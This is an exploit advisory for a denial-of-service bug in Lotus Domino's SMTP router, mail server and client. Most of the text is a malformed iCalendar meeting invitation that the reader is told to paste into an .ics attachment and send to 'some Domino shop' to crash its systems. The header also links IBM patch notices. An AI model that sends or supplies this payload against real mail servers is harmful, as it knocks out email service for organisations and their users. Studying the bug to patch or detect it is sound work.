Lotus Domino SMTP Router & Email Server and Client - Denial of Service

# Exploit Title: Lotus Domino SMTP router, EMAIL server and client DoS - all 3 may crash
# Date: July 16, 2011
# Author: None - looks like a malformed Kerio generated calendar invitation was the reason this was discovered -http://forums.kerio.com/index.php?t=msg&th=19863&start=0
# Software Link: none - cut/paste the malformed meeting invitation show below, send into some Domino shop as a mime type text/calendar with a filename.ics 
# Version: 8.5.3 and very likely all 7.x and 8.x
# Tested on: W2K3, W2K8, XP running 8.5.3
# CVE : none - but IBM has patches for this and other
 items
https://www-304.ibm.com/support/docview.wss?q1=vulnerability%20OR%20vulnerabilities&rs=0&uid=swg21461514&cs=utf-8〈=en&loc=en_US&cc=us
https://www-304.ibm.com/support/docview.wss?uid=swg21504183


....................... cut/paste this to create a meeting.ics or hello.ics file as an
 attachment..................................
BEGIN:VCALENDAR
PRODID:-//Bank-of-America.com/
METHOD:REPLY
VERSION:2.0
X-VERSION-MSX:7.2
BEGIN:VTIMEZONE
TZID:GMT
BEGIN:STANDARD
DTSTART:19501029T020000
TZOFFSETFROM:+0100
TZOFFSETTO:+0000
RRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU;BYHOUR=2;BYMINUTE=0
END:STANDARD
BEGIN:DAYLIGHT
DTSTART:19500326T020000
TZOFFSETFROM:+0000
TZOFFSETTO:+0100
RRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU;BYHOUR=2;BYMINUTE=0
END:DAYLIGHT
END:VTIMEZONE
BEGIN:VEVENT
DTEND:20110621T100000Z
TRANSP:OPAQUE
ORGANIZER;CN="PKim/BOA.com/":mailto:rjones_at_applegate.com
UID:CBFF44ACA1Ff5A99802578B2004AD7A0-Lotus_Notes_Generated
DTSTAMP:20110617T104325Z
DESCRIPTION:Meeting invite - Today 18th 9-10am
SEQUENCE:0
SUMMARY:Once again 
DTSTART:20110621T090000Z
CREATED:20110617T104400Z
X-MICROSOFT-CDO-BUSYSTATUS:BUSY
CLASS:PUBLIC
ATTENDEE;PARTSTAT=ACCEPTED;CN=RTBeinn_at_aclu.org;CUTYPE=INDIVIDUAL:mailto:meandyou_at_gmail.com 
REQUEST-STATUS:2.0
END:VEVENT
END:VCALENDAR
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